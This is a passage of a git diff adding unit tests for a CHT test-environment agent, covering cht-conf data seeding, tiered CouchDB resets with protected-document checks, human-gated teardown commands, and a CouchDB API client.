+        expect(result.placesCreated).to.equal(2);
+        expect(result.peopleCreated).to.equal(1);
+        expect(result.reportsCreated).to.equal(1);
+        expect(result.seededDocIds).to.deep.equal(['place-1', 'place-2', 'person-1', 'report-1', 'user-doc-1']);
+        expect(result.succeeded).to.equal(true);
+        expect(result.warnings).to.deep.equal([]);
+      });
+
+      it('should count created users from the create-users output', async () => {
+        runs['create-users'] = okRun([ansiInfo('Creating user alice'), ansiInfo('Creating user bob')].join('\n'));
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.usersCreated).to.equal(2);
+      });
+
+      it('should skip create-users when the data project has no users.csv', async () => {
+        hasUsersCsvStub.returns(false);
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(verbsRun()).to.deep.equal(['csv-to-docs', 'upload-docs']);
+        expect(result.usersCreated).to.equal(0);
+        expect(result.succeeded).to.equal(true);
+      });
+
+      it('should report succeeded:false on a partial upload, and say why', async () => {
+        // upload-docs exits 0 even when it rejects docs; re-seeding a static dataset conflicts.
+        runs['upload-docs'] = okRun(ansiInfo('Summary: 3 of 5 docs uploaded OK.'));
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('only 3 of 5 docs uploaded');
+        expect(result.warnings.join(' ')).to.include("reset('couchdb') restores it instead");
+      });
+
+      it('should report succeeded:false when upload-docs exits 0 without a summary for docs it was given', async () => {
+        runs['upload-docs'] = okRun(ansiInfo('Uploading docs'));
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('upload-docs printed no summary for 5 doc(s)');
+      });
+
+      it('should warn when json_docs ends up empty (no csv inputs)', async () => {
+        runs['csv-to-docs'] = okRun(ansiInfo('No csv directory found at /mnt/test-data/csv.'));
+        runs['upload-docs'] = okRun('');
+        readSeededDocsStub.returns([]);
+        hasUsersCsvStub.returns(false);
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.seededDocIds).to.deep.equal([]);
+        expect(result.warnings.join(' ')).to.include('no docs in /mnt/test-data/json_docs');
+      });
+
+      it('should report succeeded:false when upload-docs fails, with cht-conf\'s reason', async () => {
+        runs['upload-docs'] = { exitCode: 1, output: '\x1b[31mERROR boom \x1b[0m', timedOut: false };
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('exited with code 1');
+        expect(result.warnings.join(' ')).to.include('ERROR boom');
+        expect(result.seededDocIds).to.have.lengthOf(5);
+      });
+
+      it('should not count the create-users attempt that failed', async () => {
+        runs['create-users'] = {
+          exitCode: 1,
+          output: [ansiInfo('Creating user alice'), ansiInfo('Creating user bob'), 'ERROR 400'].join('\n'),
+          timedOut: false,
+        };
+
+        const result = await realAgent.prepareTestData(dockerHandle, sampleConfig, { dataPath });
+
+        expect(result.usersCreated).to.equal(1);
+        expect(result.succeeded).to.equal(false);
+        expect(result.warnings.join(' ')).to.include('create-users');
+      });
     });
   });
 
@@ -224,53 +1222,461 @@ describe('TestEnvironmentAgent', () => {
     const tiers: ResetTier[] = ['couchdb', 'restart', 'full'];
 
     tiers.forEach(tier => {
-      it(`should resolve in mock mode for the "${tier}" tier`, async () => {
+      it(`should report a no-op reset result in mock mode for the "${tier}" tier`, async () => {
         const handle = await provisionMock();
 
-        expect(await agent.reset(handle, tier)).to.equal(undefined);
+        const result = await agent.reset(handle, tier);
+
+        expect(result.tier).to.equal(tier);
+        expect(result.wiped).to.equal(0);
+        expect(result.reseeded).to.equal(0);
+        expect(result.protectedSkipped).to.deep.equal([]);
       });
     });
 
-    it('should throw not-implemented in real mode', async () => {
-      const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
-      const handle: EnvironmentHandle = {
+    describe('real mode (useMockDocker: false)', () => {
+      let realAgent: TestEnvironmentAgent;
+      const dockerHandle: EnvironmentHandle = {
         url: 'https://nginx',
         auth: { user: 'medic', password: 'password' },
         network: 'cht-agent-net',
+        chtCorePath: '/workspace/cht-core',
         source: 'docker',
       };
 
-      try {
-        await realAgent.reset(handle, 'full');
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
+      isolateEnv(GATE_ENV_KEYS);
+
+      beforeEach(() => {
+        realAgent = new TestEnvironmentAgent({ useMockDocker: false });
+      });
+
+      afterEach(() => {
+        sinon.restore();
+      });
+
+      it('should carry an explicit CHT_TEST_ENV_PROJECT into the restart, full and teardown gates', async () => {
+        process.env.CHT_TEST_ENV_PROJECT = 'my-proj';
+        const logSpy = sinon.spy(console, 'log');
+
+        await realAgent.reset(dockerHandle, 'restart');
+        await realAgent.reset(dockerHandle, 'full');
+        await realAgent.teardown(dockerHandle);
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        const env = "CHT_TEST_ENV_PROJECT='my-proj' ";
+        const path = "'/workspace/cht-core'";
+        expect(lines).to.include(`    ${env}scripts/test-env-restart.sh ${path}`);
+        expect(lines).to.include(
+          `    ${env}scripts/test-env-down.sh ${path} && ${env}CHT_CORE_REBUILD=1 scripts/test-env-up.sh ${path}`
+        );
+        expect(lines.some((line) => line.startsWith(`    ${env}scripts/test-env-down.sh ${path}   #`))).to.equal(true);
+      });
+
+      it('should print a runnable restart gate quoting the cht-core path (human-gated, agent runs no Docker)', async () => {
+        const logSpy = sinon.spy(console, 'log');
+
+        const result = await realAgent.reset(dockerHandle, 'restart');
+
+        expect(result.performedBy).to.equal('human-gate');
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        expect(lines.some((line) => line.includes("scripts/test-env-restart.sh '/workspace/cht-core'"))).to.equal(
+          true
+        );
+      });
+
+      it('should print the full-tier gate naming both scripts with the quoted path', async () => {
+        const logSpy = sinon.spy(console, 'log');
+
+        await realAgent.reset(dockerHandle, 'full');
+
+        const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+        // A full reset recreates the containers from rebuilt images (Model A tests the code as it is now).
+        const expected =
+          "scripts/test-env-down.sh '/workspace/cht-core' && CHT_CORE_REBUILD=1 scripts/test-env-up.sh '/workspace/cht-core'";
+        expect(lines.some((line) => line.includes(expected))).to.equal(true);
+      });
+
+      describe('couchdb tier (the agent-owned reset)', () => {
+        const dataPath = '/mnt/test-data';
+        const ansiInfo = (message: string): string => `\x1b[32mINFO ${message} \x1b[0m`;
+        const okRun = (output: string): ChtConfExecResult => ({ exitCode: 0, output, timedOut: false });
+        const seedConfig: DiscoveredConfig = {
+          contactTypes: [{ id: 'clinic' }, { id: 'person', person: true }],
+          roles: {},
+          permissions: {},
+          transitions: {},
+          forms: [],
+        };
+
+        let agentUnderTest: TestEnvironmentAgent;
+        let runChtConfStub: sinon.SinonStub;
+        let readSeededDocsStub: sinon.SinonStub;
+        let fetchDocRevsStub: sinon.SinonStub;
+        let bulkDocsStub: sinon.SinonStub;
+
+        beforeEach(() => {
+          agentUnderTest = new TestEnvironmentAgent({ useMockDocker: false });
+          runChtConfStub = sinon.stub(chtConfRunner, 'runChtConf');
+          readSeededDocsStub = sinon.stub(testData, 'readSeededDocs').returns([
+            { id: 'place-1', type: 'clinic' },
+            { id: 'person-1', type: 'person' },
+          ]);
+          sinon.stub(testData, 'hasUsersCsv').returns(false);
+          // Stubbed explicitly: the real existsSync would silently decide which path runs.
+          sinon.stub(testData, 'hasCsvInput').returns(false);
+          fetchDocRevsStub = sinon.stub(chtApi, 'fetchDocRevs').resolves([
+            { id: 'place-1', rev: '7-live' },
+            { id: 'person-1', rev: '2-live' },
+          ]);
+          bulkDocsStub = sinon.stub(chtApi, 'bulkDocs').resolves([
+            { id: 'place-1', ok: true },
+            { id: 'person-1', ok: true },
+          ]);
+        });
+
+        afterEach(() => {
+          sinon.restore();
+        });
+
+        // Seed the agent's per-env tracking the way real use would.
+        const seedTracking = async (): Promise<void> => {
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+          await agentUnderTest.prepareTestData(dockerHandle, seedConfig, { dataPath });
+          runChtConfStub.resetHistory();
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+        };
+
+        it('should be a no-op when nothing was seeded for this environment', async () => {
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(result.wiped).to.equal(0);
+          expect(result.reseeded).to.equal(0);
+          expect(fetchDocRevsStub.called).to.equal(false);
+          expect(bulkDocsStub.called).to.equal(false);
+          expect(runChtConfStub.called).to.equal(false);
+        });
+
+        it('should wipe the tracked docs at their CURRENT revs and reseed from the tracked project', async () => {
+          await seedTracking();
+
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          // Read live revs before the wipe, then again to confirm the reseed restored them.
+          expect(fetchDocRevsStub.callCount).to.equal(2);
+          expect(fetchDocRevsStub.firstCall.args).to.deep.equal(['https://nginx', dockerHandle.auth, ['place-1', 'person-1']]);
+          expect(bulkDocsStub.firstCall.args[2]).to.deep.equal([
+            { _id: 'place-1', _rev: '7-live', _deleted: true },
+            { _id: 'person-1', _rev: '2-live', _deleted: true },
+          ]);
+          const reseedCall = runChtConfStub.firstCall.args[0];
+          expect(reseedCall.verbs).to.deep.equal(['upload-docs']);
+          expect(reseedCall.configPath).to.equal(dataPath);
+          expect(reseedCall.cwd).to.equal(dataPath);
+          expect(fetchDocRevsStub.secondCall.calledAfter(runChtConfStub.firstCall)).to.equal(true);
+        });
+
+        it('should skip tombstoned and never-existed docs in the wipe', async () => {
+          await seedTracking();
+          fetchDocRevsStub.onFirstCall().resolves([
+            { id: 'place-1', rev: '7-live' },
+            { id: 'person-1', rev: '2-tomb', deleted: true },
+          ]);
+          bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
+
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(bulkDocsStub.firstCall.args[2]).to.deep.equal([
+            { _id: 'place-1', _rev: '7-live', _deleted: true },
+          ]);
+          // The doc a test deleted is recreated by the reseed and counted as restored.
+          expect(result.wiped).to.equal(1);
+          expect(result.reseeded).to.equal(2);
+        });
+
+        it('should throw when a deletion is rejected (half-reset must not pass as clean)', async () => {
+          await seedTracking();
+          bulkDocsStub.resolves([
+            { id: 'place-1', ok: true },
+            { id: 'person-1', error: 'conflict', reason: 'Document update conflict.' },
+          ]);
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('failed to delete 1 doc(s): person-1');
+            expect((error as Error).message).to.include('The other 1 doc(s) were deleted and not reseeded');
+          }
+        });
+
+        it('should throw when the reseed upload fails', async () => {
+          await seedTracking();
+          runChtConfStub.resolves({ exitCode: 1, output: 'ERROR boom', timedOut: false });
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('reseed failed');
+          }
+        });
+
+        it('should throw when CouchDB shows a wiped doc did not come back', async () => {
+          await seedTracking();
+          fetchDocRevsStub.onSecondCall().resolves([
+            { id: 'place-1', rev: '8-new' },
+            { id: 'person-1', rev: '3-tomb', deleted: true },
+          ]);
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('1 doc(s) are missing after the reseed: person-1');
+          }
+        });
+
+        it('should fail closed BEFORE the wipe when the reseed source is gone', async () => {
+          await seedTracking();
+          readSeededDocsStub.returns([]); // json_docs vanished since seeding
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('cannot restore 2 of the 2');
+          }
+          expect(fetchDocRevsStub.called).to.equal(false);
+          expect(bulkDocsStub.called).to.equal(false);
+        });
+
+        it('should throw when the reseed restored nothing, whatever upload-docs printed', async () => {
+          await seedTracking();
+          runChtConfStub.resolves(okRun(ansiInfo('No docs directory found at /mnt/test-data/json_docs.')));
+          fetchDocRevsStub.onSecondCall().resolves([
+            { id: 'place-1', rev: '8-tomb', deleted: true },
+            { id: 'person-1', rev: '3-tomb', deleted: true },
+          ]);
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('2 doc(s) are missing after the reseed');
+          }
+        });
+
+        it('should refuse to wipe tracked docs the data project can no longer restore', async () => {
+          await seedTracking();
+          readSeededDocsStub.returns([{ id: 'place-1', type: 'clinic' }]); // the dataset shrank
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('cannot restore 1 of the 2 doc(s) it would wipe (person-1)');
+          }
+          expect(bulkDocsStub.called).to.equal(false);
+        });
+
+        it('should not let a failed re-seed clobber the wipe worklist', async () => {
+          await seedTracking();
+          // A later seed has docs on disk, but its upload-docs run fails.
+          readSeededDocsStub.returns([{ id: 'other-1', type: 'clinic' }]);
+          runChtConfStub.resolves({ exitCode: 1, output: 'ERROR boom', timedOut: false });
+          await agentUnderTest.prepareTestData(dockerHandle, seedConfig, { dataPath: '/mnt/other-data' });
+
+          // The original worklist must still drive the wipe.
+          readSeededDocsStub.returns([
+            { id: 'place-1', type: 'clinic' },
+            { id: 'person-1', type: 'person' },
+          ]);
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1', 'person-1']);
+        });
+
+        it('should reseed with the same bin/timeoutMs the seed ran with (no version or timeout skew)', async () => {
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+          await agentUnderTest.prepareTestData(dockerHandle, seedConfig, {
+            dataPath,
+            bin: '/mnt/test-data/node_modules/.bin/cht',
+            timeoutMs: 240_000,
+          });
+          runChtConfStub.resetHistory();
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          const reseedCall = runChtConfStub.lastCall.args[0];
+          expect(reseedCall.bin).to.equal('/mnt/test-data/node_modules/.bin/cht');
+          expect(reseedCall.timeoutMs).to.equal(240_000);
+        });
+
+        it('should report what the reset actually did', async () => {
+          await seedTracking();
+
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(result).to.deep.equal({
+            tier: 'couchdb',
+            wiped: 2,
+            reseeded: 2,
+            performedBy: 'agent',
+            protectedSkipped: [],
+          });
+        });
+
+        it('should accept an explicit worklist so a handle reloaded elsewhere can drive the reset', async () => {
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb', {
+            dataPath,
+            docIds: ['place-1', 'person-1'],
+          });
+
+          expect(fetchDocRevsStub.firstCall.args).to.deep.equal(['https://nginx', dockerHandle.auth, ['place-1', 'person-1']]);
+          expect(result.wiped).to.equal(2);
+        });
+
+        it('should reseed a SUBSET worklist against a real upload-docs summary', async () => {
+          // upload-docs re-uploads every json_docs file with no _rev: the wiped doc is
+          // recreated OK, the un-wiped one conflicts, so cht-conf reports "1 of 2".
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 1 of 2 docs uploaded OK.')));
+          fetchDocRevsStub.resolves([{ id: 'place-1', rev: '7-live' }]);
+          bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
+
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb', {
+            dataPath,
+            docIds: ['place-1'],
+          });
+
+          expect(bulkDocsStub.firstCall.args[2]).to.deep.equal([
+            { _id: 'place-1', _rev: '7-live', _deleted: true },
+          ]);
+          expect(result.wiped).to.equal(1);
+          expect(result.reseeded).to.equal(1);
+        });
+
+        it('should refuse to wipe protected config ids supplied in the worklist', async () => {
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+          fetchDocRevsStub.resolves([{ id: 'place-1', rev: '7-live' }]);
+          bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
+
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb', {
+            dataPath,
+            docIds: ['place-1', 'settings', 'form:pregnancy', 'org.couchdb.user:chw'],
+          });
+
+          expect(fetchDocRevsStub.firstCall.args[2]).to.deep.equal(['place-1']);
+          expect(result.protectedSkipped).to.deep.equal([
+            'settings',
+            'form:pregnancy',
+            'org.couchdb.user:chw',
+          ]);
+        });
+
+        it('should reject an explicit docIds worklist with no dataPath to reseed from', async () => {
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb', { docIds: ['place-1'] });
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('also needs options.dataPath');
+          }
+        });
+
+        it('should refuse to reseed when a protected config doc was planted in json_docs after the seed', async () => {
+          // upload-docs --force filters nothing, so a planted protected id would be
+          // CREATED on the instance. Refuse before wiping anything.
+          await seedTracking();
+          fetchDocRevsStub.resetHistory();
+          readSeededDocsStub.returns([
+            { id: 'place-1', type: 'clinic' },
+            { id: 'person-1', type: 'person' },
+            { id: 'settings', type: 'clinic' },
+          ]);
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('contains protected config doc(s) settings');
+          }
+          expect(fetchDocRevsStub.called).to.equal(false);
+          expect(bulkDocsStub.called).to.equal(false);
+        });
+
+        it('should throw when _bulk_docs acknowledges fewer deletions than were submitted', async () => {
+          await seedTracking();
+          bulkDocsStub.resolves([{ id: 'place-1', ok: true }]);
+
+          try {
+            await agentUnderTest.reset(dockerHandle, 'couchdb');
+            expect.fail('expected reset to reject');
+          } catch (error) {
+            expect((error as Error).message).to.include('acknowledged 1 of 2');
+          }
+        });
+
+        it('should track environments separately when parallel networks share the service hostname', async () => {
+          await seedTracking();
+          const otherEnv: EnvironmentHandle = { ...dockerHandle, network: 'cht-agent-net-2' };
+
+          const result = await agentUnderTest.reset(otherEnv, 'couchdb');
+
+          expect(result.wiped).to.equal(0);
+          expect(fetchDocRevsStub.called).to.equal(false);
+        });
+
+        it('should keep tracking across teardown: CouchDB data is a bind mount that survives down -v', async () => {
+          await seedTracking();
+
+          await agentUnderTest.teardown(dockerHandle);
+          const result = await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(result.wiped).to.equal(2);
+        });
+
+        it('should reset against an absolute dataPath even if the process cwd changes after seeding', async () => {
+          runChtConfStub.resolves(okRun(ansiInfo('Summary: 2 of 2 docs uploaded OK.')));
+          await agentUnderTest.prepareTestData(dockerHandle, seedConfig, { dataPath: 'relative/data' });
+          runChtConfStub.resetHistory();
+
+          await agentUnderTest.reset(dockerHandle, 'couchdb');
+
+          expect(readSeededDocsStub.lastCall.args[0]).to.equal(resolve('relative/data'));
+          expect(runChtConfStub.lastCall.args[0].configPath).to.equal(resolve('relative/data'));
+        });
+      });
     });
   });
 
   describe('teardown', () => {
+    isolateEnv(GATE_ENV_KEYS);
+
     it('should resolve in mock mode', async () => {
       const handle = await provisionMock();
 
-      expect(await agent.teardown(handle)).to.equal(undefined);
+      expect(await agent.teardown(handle)).to.be.undefined;
     });
 
-    it('should throw not-implemented in real mode', async () => {
+    it('should print the human teardown gate with the cht-core path shell-quoted (real mode)', async () => {
       const realAgent = new TestEnvironmentAgent({ useMockDocker: false });
       const handle: EnvironmentHandle = {
         url: 'https://nginx',
         auth: { user: 'medic', password: 'password' },
         network: 'cht-agent-net',
+        chtCorePath: '/workspace/cht-core',
         source: 'docker',
       };
+      const logSpy = sinon.spy(console, 'log');
 
-      try {
-        await realAgent.teardown(handle);
-        expect.fail('Should have thrown an error');
-      } catch (error) {
-        expect((error as Error).message).to.include('not yet implemented');
-      }
+      await realAgent.teardown(handle);
+
+      logSpy.restore();
+      const lines = logSpy.getCalls().map((call) => String(call.args[0]));
+      expect(lines.some((line) => line.includes("scripts/test-env-down.sh '/workspace/cht-core'"))).to.equal(true);
     });
   });
 });
diff --git a/test/utils/cht-api.spec.ts b/test/utils/cht-api.spec.ts
new file mode 100644
index 00000000..6efbb61a
--- /dev/null
+++ b/test/utils/cht-api.spec.ts
@@ -0,0 +1,252 @@
+import { expect } from 'chai';
+import * as sinon from 'sinon';
+import { bulkDocs, fetchDocRevs, fetchFormRevs, fetchSession, fetchSettings } from '../../src/utils/cht-api';
+
+describe('cht-api', () => {
+  let fetchStub: sinon.SinonStub;
+
+  const auth = { user: 'medic', password: 'password' };
+  const URL_BASE = 'https://nginx';
+  const EXPECTED_AUTH = `Basic ${Buffer.from('medic:password').toString('base64')}`;
+
+  const jsonResponse = (body: unknown, status = 200) => ({
+    ok: status >= 200 && status < 300,
+    status,
+    json: async () => body,
+  });
+
+  beforeEach(() => {
+    fetchStub = sinon.stub(globalThis, 'fetch' as any);
+  });
+
+  afterEach(() => {
+    sinon.restore();
+  });
+
+  describe('fetchSettings', () => {
+    it('GETs /api/v1/settings with basic auth and returns the settings object', async () => {
+      fetchStub.resolves(jsonResponse({ roles: { chw: {} } }));
+
+      const settings = await fetchSettings(URL_BASE, auth);
+
+      expect(settings).to.deep.equal({ roles: { chw: {} } });
+      expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/api/v1/settings');
+      const init = fetchStub.firstCall.args[1];
+      expect(init.method).to.equal('GET');
+      expect(init.headers.Authorization).to.equal(EXPECTED_AUTH);
+    });
+
+    it('bounds every request with an abort signal', async () => {
+      fetchStub.resolves(jsonResponse({}));
+
+      await fetchSettings(URL_BASE, auth);
+
+      expect(fetchStub.firstCall.args[1].signal).to.be.instanceOf(AbortSignal);
+    });
+
+    it('throws with the path and status (never the password) on an HTTP error', async () => {
+      fetchStub.resolves(jsonResponse({ error: 'unauthorized' }, 401));
+
+      try {
+        await fetchSettings(URL_BASE, auth);
+        expect.fail('expected fetchSettings to reject');
+      } catch (error) {
+        const message = (error as Error).message;
+        expect(message).to.include('/api/v1/settings');
+        expect(message).to.include('401');
+        expect(message).to.not.include('password');
+      }
+    });
+
+    it('throws when the body is not a JSON object', async () => {
+      fetchStub.resolves(jsonResponse(['not', 'an', 'object']));
+
+      try {
+        await fetchSettings(URL_BASE, auth);
+        expect.fail('expected fetchSettings to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('non-object body');
+      }
+    });
+  });
+
+  describe('fetchSession', () => {
+    it('GETs /_session with basic auth and returns the user and roles', async () => {
+      fetchStub.resolves(jsonResponse({ ok: true, userCtx: { name: 'medic', roles: ['_admin'] } }));
+
+      const session = await fetchSession(URL_BASE, auth);
+
+      expect(session).to.deep.equal({ name: 'medic', roles: ['_admin'] });
+      expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/_session');
+      expect(fetchStub.firstCall.args[1].headers.Authorization).to.equal(EXPECTED_AUTH);
+    });
+
+    it('reports an anonymous session as no name and no roles', async () => {
+      fetchStub.resolves(jsonResponse({ ok: true, userCtx: { name: null, roles: [] } }));
+
+      expect(await fetchSession(URL_BASE, auth)).to.deep.equal({ name: null, roles: [] });
+    });
+
+    it('drops non-string roles and tolerates a body without userCtx', async () => {
+      fetchStub.onFirstCall().resolves(jsonResponse({ userCtx: { name: 'medic', roles: ['_admin', 7, null] } }));
+      fetchStub.onSecondCall().resolves(jsonResponse({ ok: true }));
+
+      expect((await fetchSession(URL_BASE, auth)).roles).to.deep.equal(['_admin']);
+      expect(await fetchSession(URL_BASE, auth)).to.deep.equal({ name: null, roles: [] });
+    });
+
+    it('rejects with the status on bad credentials', async () => {
+      fetchStub.resolves(jsonResponse({ error: 'unauthorized' }, 401));
+
+      try {
+        await fetchSession(URL_BASE, auth);
+        expect.fail('expected fetchSession to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('401');
+        expect((error as Error).message).to.not.include('password');
+      }
+    });
+  });
+
+  describe('fetchFormRevs', () => {
+    it('queries the medic _all_docs form: key range and maps id + rev', async () => {
+      fetchStub.resolves(
+        jsonResponse({
+          rows: [
+            { id: 'form:delivery', key: 'form:delivery', value: { rev: '1-def' } },
+            { id: 'form:pregnancy', key: 'form:pregnancy', value: { rev: '3-abc' } },
+          ],
+        })
+      );
+
+      const revs = await fetchFormRevs(URL_BASE, auth);
+
+      expect(revs).to.deep.equal([
+        { id: 'form:delivery', rev: '1-def' },
+        { id: 'form:pregnancy', rev: '3-abc' },
+      ]);
+      const requested = fetchStub.firstCall.args[0] as string;
+      expect(requested).to.include('https://nginx/medic/_all_docs?');
+      const query = new URL(requested).searchParams;
+      expect(query.get('startkey')).to.equal('"form:"');
+      expect(query.get('endkey')).to.equal(JSON.stringify('form:\ufff0'));
+    });
+
+    it('drops deleted form docs and rows without an id', async () => {
+      fetchStub.resolves(
+        jsonResponse({
+          rows: [
+            { id: 'form:old', key: 'form:old', value: { rev: '2-dead', deleted: true } },
+            { key: 'form:ghost', error: 'not_found' },
+            { id: 'form:live', key: 'form:live', value: { rev: '1-live' } },
+          ],
+        })
+      );
+
+      const revs = await fetchFormRevs(URL_BASE, auth);
+
+      expect(revs).to.deep.equal([{ id: 'form:live', rev: '1-live' }]);
+    });
+  });
+
+  describe('fetchDocRevs', () => {
+    it('returns [] without a request when no ids are given', async () => {
+      const rows = await fetchDocRevs(URL_BASE, auth, []);
+
+      expect(rows).to.deep.equal([]);
+      expect(fetchStub.called).to.equal(false);
+    });
+
+    it('POSTs the ids as _all_docs keys and maps the current revs', async () => {
+      fetchStub.resolves(
+        jsonResponse({
+          rows: [{ id: 'doc-1', key: 'doc-1', value: { rev: '5-cur' } }],
+        })
+      );
+
+      const rows = await fetchDocRevs(URL_BASE, auth, ['doc-1']);
+
+      expect(rows).to.deep.equal([{ id: 'doc-1', rev: '5-cur' }]);
+      expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/medic/_all_docs');
+      const init = fetchStub.firstCall.args[1];
+      expect(init.method).to.equal('POST');
+      expect(JSON.parse(init.body)).to.deep.equal({ keys: ['doc-1'] });
+      expect(init.headers['Content-Type']).to.equal('application/json');
+    });
+
+    it('marks never-existed docs as missing and tombstones as deleted', async () => {
+      fetchStub.resolves(
+        jsonResponse({
+          rows: [
+            { key: 'doc-gone', error: 'not_found' },
+            { id: 'doc-tomb', key: 'doc-tomb', value: { rev: '2-tomb', deleted: true } },
+          ],
+        })
+      );
+
+      const rows = await fetchDocRevs(URL_BASE, auth, ['doc-gone', 'doc-tomb']);
+
+      expect(rows).to.deep.equal([
+        { id: 'doc-gone', missing: true },
+        { id: 'doc-tomb', rev: '2-tomb', deleted: true },
+      ]);
+    });
+  });
+
+  describe('bulkDocs', () => {
+    it('returns [] without a request when no docs are given', async () => {
+      const outcome = await bulkDocs(URL_BASE, auth, []);
+
+      expect(outcome).to.deep.equal([]);
+      expect(fetchStub.called).to.equal(false);
+    });
+
+    it('POSTs the docs to _bulk_docs and returns the per-doc outcomes', async () => {
+      fetchStub.resolves(jsonResponse([{ id: 'doc-1', ok: true, rev: '6-new' }]));
+      const tombstone = { _id: 'doc-1', _rev: '5-cur', _deleted: true };
+
+      const outcome = await bulkDocs(URL_BASE, auth, [tombstone]);
+
+      expect(outcome).to.deep.equal([{ id: 'doc-1', ok: true, rev: '6-new' }]);
+      expect(fetchStub.firstCall.args[0]).to.equal('https://nginx/medic/_bulk_docs');
+      const init = fetchStub.firstCall.args[1];
+      expect(init.method).to.equal('POST');
+      expect(JSON.parse(init.body)).to.deep.equal({ docs: [tombstone] });
+      expect(init.headers.Authorization).to.equal(EXPECTED_AUTH);
+    });
+
+    it('throws on an HTTP error status', async () => {
+      fetchStub.resolves(jsonResponse({ error: 'server' }, 500));
+
+      try {
+        await bulkDocs(URL_BASE, auth, [{ _id: 'doc-1' }]);
+        expect.fail('expected bulkDocs to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('500');
+      }
+    });
+
+    it('refuses to follow a redirect on an authenticated request', async () => {
+      fetchStub.resolves(jsonResponse({}, 302));
+
+      try {
+        await bulkDocs(URL_BASE, auth, [{ _id: 'doc-1' }]);
+        expect.fail('expected bulkDocs to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('unexpected redirect');
+      }
+      expect(fetchStub.firstCall.args[1].redirect).to.equal('manual');
+    });
+
+    it('throws on a non-array response body (a wipe must not read as zero failures)', async () => {
+      fetchStub.resolves(jsonResponse({ unexpected: true }));
+
+      try {
+        await bulkDocs(URL_BASE, auth, [{ _id: 'doc-1' }]);
+        expect.fail('expected bulkDocs to reject');
+      } catch (error) {
+        expect((error as Error).message).to.include('non-array body');
+      }
+    });
+  });
+});
diff --git a/test/utils/cht-conf-runner.spec.ts b/test/utils/cht-conf-runner.spec.ts
new file mode 100644
index 00000000..46bc582c
--- /dev/null
+++ b/test/utils/cht-conf-runner.spec.ts
@@ -0,0 +1,629 @@
+import { expect } from 'chai';
+import * as sinon from 'sinon';
+import { EventEmitter } from 'node:events';
+import {
+  buildChtConfArgs,
+  classifyChtConfOutput,
+  CONFIG_ACTION_COMMANDS,
+  resolveChtConfBin,
+} from '../../src/utils/cht-conf-runner';
+import { ChtConfExecOptions, ChtConfExecResult, ChtConfRunOptions, ConfigActionResult } from '../../src/types';
+
